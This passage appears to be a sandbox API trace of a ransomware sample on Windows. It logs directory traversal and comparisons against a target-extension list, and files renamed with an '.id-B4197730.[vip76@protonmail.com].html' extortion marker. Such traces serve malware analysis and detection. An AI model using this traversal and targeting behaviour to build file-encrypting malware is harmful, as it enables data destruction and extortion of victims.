	[0165.174] lstrlenW (lpString=".erf") returned 4
	[0165.174] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0165.174] lstrlenW (lpString=".exr") returned 4
	[0165.174] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0165.174] lstrlenW (lpString=".f4v") returned 4
	[0165.174] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0165.174] lstrlenW (lpString=".fido") returned 5
	[0165.174] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0165.174] lstrlenW (lpString=".flm") returned 4
	[0165.174] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0165.174] lstrlenW (lpString=".flv") returned 4
	[0165.175] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0165.175] lstrlenW (lpString=".frm") returned 4
	[0165.175] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0165.175] lstrlenW (lpString=".fxg") returned 4
	[0165.175] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0165.175] lstrlenW (lpString=".geo") returned 4
	[0165.175] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0165.175] lstrlenW (lpString=".gif") returned 4
	[0165.175] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0165.175] lstrlenW (lpString=".grs") returned 4
	[0165.175] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0165.175] lstrlenW (lpString=".gz") returned 3
	[0165.175] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0165.175] lstrlenW (lpString=".h") returned 2
	[0165.175] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0165.175] lstrlenW (lpString=".hdr") returned 4
	[0165.175] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0165.175] lstrlenW (lpString=".hpp") returned 4
	[0165.175] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0165.175] lstrlenW (lpString=".hta") returned 4
	[0165.175] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0165.175] lstrlenW (lpString=".htc") returned 4
	[0165.175] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0165.175] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803696f3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x803696f3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x805f2ce9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xfffff243, dwReserved1=0x313, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PARTNE~1.HTM")) returned 1
	[0165.176] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803696f3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x803696f3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x805f2ce9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xfffff243, dwReserved1=0x313, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PARTNE~1.HTM")) returned 0
	[0165.176] FindClose (in: hFindFile=0x6abe58 | out: hFindFile=0x6abe58) returned 1
	[0165.176] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e20968 | out: hHeap=0x610000) returned 1
	[0165.176] FindNextFileW (in: hFindFile=0x6abc58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x803b59d1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803b59d1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0165.177] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3e20968
	[0165.177] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x803b59d1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803b59d1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff243, dwReserved1=0x313, cFileName=".", cAlternateFileName="")) returned 0x6ac058
	[0165.199] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x803b59d1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803b59d1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff243, dwReserved1=0x313, cFileName="..", cAlternateFileName="")) returned 1
	[0165.200] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802d0cf2, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x802d0cf2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x802f6db0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0xfffff243, dwReserved1=0x313, cFileName="GetCurrentOOBE.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="GETCUR~1.HTM")) returned 1
	[0165.200] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803696f3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x803696f3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803b59d1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xfffff243, dwReserved1=0x313, cFileName="GetCurrentRollback.ini.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="GETCUR~2.HTM")) returned 1
	[0165.201] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80618e80, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80618e80, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80664379, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0xfffff243, dwReserved1=0x313, cFileName="PartnerSetupComplete.cmd.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PARTNE~1.HTM")) returned 1
	[0165.201] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x806d6b2c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x806d6b2c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x806d6b2c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0xfffff243, dwReserved1=0x313, cFileName="preoobe.cmd.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PREOOB~1.HTM")) returned 1
	[0165.201] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8068a77d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8068a77d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x806b08a4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xfffff243, dwReserved1=0x313, cFileName="SetupComplete.cmd.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPC~1.HTM")) returned 1
	[0165.201] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8068a77d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8068a77d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x806b08a4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xfffff243, dwReserved1=0x313, cFileName="SetupComplete.cmd.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPC~1.HTM")) returned 0
	[0165.201] FindClose (in: hFindFile=0x6ac058 | out: hFindFile=0x6ac058) returned 1
	[0165.216] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e20968 | out: hHeap=0x610000) returned 1
	[0165.216] FindNextFileW (in: hFindFile=0x6abc58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x803b59d1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803b59d1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0165.216] FindClose (in: hFindFile=0x6abc58 | out: hFindFile=0x6abc58) returned 1
	[0165.216] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3df0950 | out: hHeap=0x610000) returned 1
	[0165.218] FindNextFileW (in: hFindFile=0x6ac118, lpFindFileData=0x350fcf8 | out: lpFindFileData=0x350fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0165.218] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3df0950
	[0165.218] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6abd98
	[0165.219] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0165.219] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x803b59d1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803b59d1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0165.219] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3e20968
	[0165.220] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x1b4, dwReserved0=0xffffb89e, dwReserved1=0x1b6, cFileName="￿鸀kǿ", cAlternateFileName="♠g\x08")) returned 0xffffffff
	[0165.220] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e20968 | out: hHeap=0x610000) returned 1
	[0165.220] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x176d05e8, ftLastAccessTime.dwHighDateTime=0x1d5638b, ftLastWriteTime.dwLowDateTime=0x176d05e8, ftLastWriteTime.dwHighDateTime=0x1d5638b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0165.220] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3e20968
	[0165.220] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x176d05e8, ftLastAccessTime.dwHighDateTime=0x1d5638b, ftLastWriteTime.dwLowDateTime=0x176d05e8, ftLastWriteTime.dwHighDateTime=0x1d5638b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb89e, dwReserved1=0x1b6, cFileName=".", cAlternateFileName="")) returned 0x6abc18
	[0165.220] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x176d05e8, ftLastAccessTime.dwHighDateTime=0x1d5638b, ftLastWriteTime.dwLowDateTime=0x176d05e8, ftLastWriteTime.dwHighDateTime=0x1d5638b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb89e, dwReserved1=0x1b6, cFileName="..", cAlternateFileName="")) returned 1
	[0165.221] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x176d05e8, ftCreationTime.dwHighDateTime=0x1d5638b, ftLastAccessTime.dwLowDateTime=0x176d05e8, ftLastAccessTime.dwHighDateTime=0x1d5638b, ftLastWriteTime.dwLowDateTime=0x176d05e8, ftLastWriteTime.dwHighDateTime=0x1d5638b, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xffffb89e, dwReserved1=0x1b6, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0165.221] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80618e80, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80618e80, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80618e80, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffb89e, dwReserved1=0x1b6, cFileName="desktop.ini.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="DESKTO~1.HTM")) returned 1
	[0165.221] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80618e80, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80618e80, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80618e80, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffb89e, dwReserved1=0x1b6, cFileName="desktop.ini.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="DESKTO~1.HTM")) returned 0
	[0165.221] FindClose (in: hFindFile=0x6abc18 | out: hFindFile=0x6abc18) returned 1
	[0165.221] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e20968 | out: hHeap=0x610000) returned 1
	[0165.221] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x176d05e8, ftLastAccessTime.dwHighDateTime=0x1d5638b, ftLastWriteTime.dwLowDateTime=0x176d05e8, ftLastWriteTime.dwHighDateTime=0x1d5638b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0165.221] FindClose (in: hFindFile=0x6abd98 | out: hFindFile=0x6abd98) returned 1
	[0165.221] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3df0950 | out: hHeap=0x610000) returned 1
	[0165.222] FindNextFileW (in: hFindFile=0x6ac118, lpFindFileData=0x350fcf8 | out: lpFindFileData=0x350fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0165.222] FindNextFileW (in: hFindFile=0x6ac118, lpFindFileData=0x350fcf8 | out: lpFindFileData=0x350fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x85d59f04, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x85d59f04, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0165.222] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0165.222] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212") returned 1
	[0165.223] lstrlenW (lpString="588bce7c90097ed212") returned 18
	[0165.223] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="588bce7c90097ed212") returned 1
	[0165.223] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3df0950
	[0165.223] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0165.223] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x85d59f04, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x85d59f04, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6ac058
	[0165.300] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x85d59f04, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x85d59f04, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0165.301] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1
	[0165.301] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0165.301] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1
	[0165.301] lstrlenW (lpString="1025") returned 4
	[0165.301] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1
	[0165.301] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.302] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0165.302] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abc58
	[0165.304] FindNextFileW (in: hFindFile=0x6abc58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.304] FindNextFileW (in: hFindFile=0x6abc58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x808148f1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x808148f1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x808481ad, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.304] lstrlenW (lpString="eula.rtf.id-B4197730.[vip76@protonmail.com].html") returned 48
	[0165.304] lstrlenW (lpString=".1cd") returned 4
	[0165.304] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0165.304] lstrlenW (lpString=".3ds") returned 4
	[0165.304] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0165.304] lstrlenW (lpString=".3fr") returned 4
	[0165.305] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0165.305] lstrlenW (lpString=".3g2") returned 4
	[0165.305] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0165.305] lstrlenW (lpString=".3gp") returned 4
	[0165.305] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0165.305] lstrlenW (lpString=".7z") returned 3
	[0165.305] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0165.305] lstrlenW (lpString=".accda") returned 6
	[0165.305] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0165.305] lstrlenW (lpString=".accdb") returned 6
	[0165.305] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0165.305] lstrlenW (lpString=".accdc") returned 6
	[0165.305] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0165.305] lstrlenW (lpString=".accde") returned 6
	[0165.305] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0165.305] lstrlenW (lpString=".accdt") returned 6
	[0165.305] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0165.305] lstrlenW (lpString=".accdw") returned 6
	[0165.305] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0165.305] lstrlenW (lpString=".adb") returned 4
	[0165.305] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0165.305] lstrlenW (lpString=".adp") returned 4
	[0165.305] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0165.305] lstrlenW (lpString=".ai") returned 3
	[0165.305] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0165.305] lstrlenW (lpString=".ai3") returned 4
	[0165.305] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0165.305] lstrlenW (lpString=".ai4") returned 4
	[0165.305] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0165.305] lstrlenW (lpString=".ai5") returned 4
	[0165.305] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0165.305] lstrlenW (lpString=".ai6") returned 4
	[0165.305] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0165.306] lstrlenW (lpString=".ai7") returned 4
	[0165.306] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0165.306] lstrlenW (lpString=".ai8") returned 4
	[0165.306] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0165.306] lstrlenW (lpString=".anim") returned 5
	[0165.306] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0165.306] lstrlenW (lpString=".arw") returned 4
	[0165.306] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0165.306] lstrlenW (lpString=".as") returned 3
	[0165.306] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0165.306] lstrlenW (lpString=".asa") returned 4
	[0165.306] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0165.306] lstrlenW (lpString=".asc") returned 4
	[0165.306] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0165.306] lstrlenW (lpString=".ascx") returned 5
	[0165.306] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0165.306] lstrlenW (lpString=".asm") returned 4
	[0165.306] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0165.306] lstrlenW (lpString=".asmx") returned 5
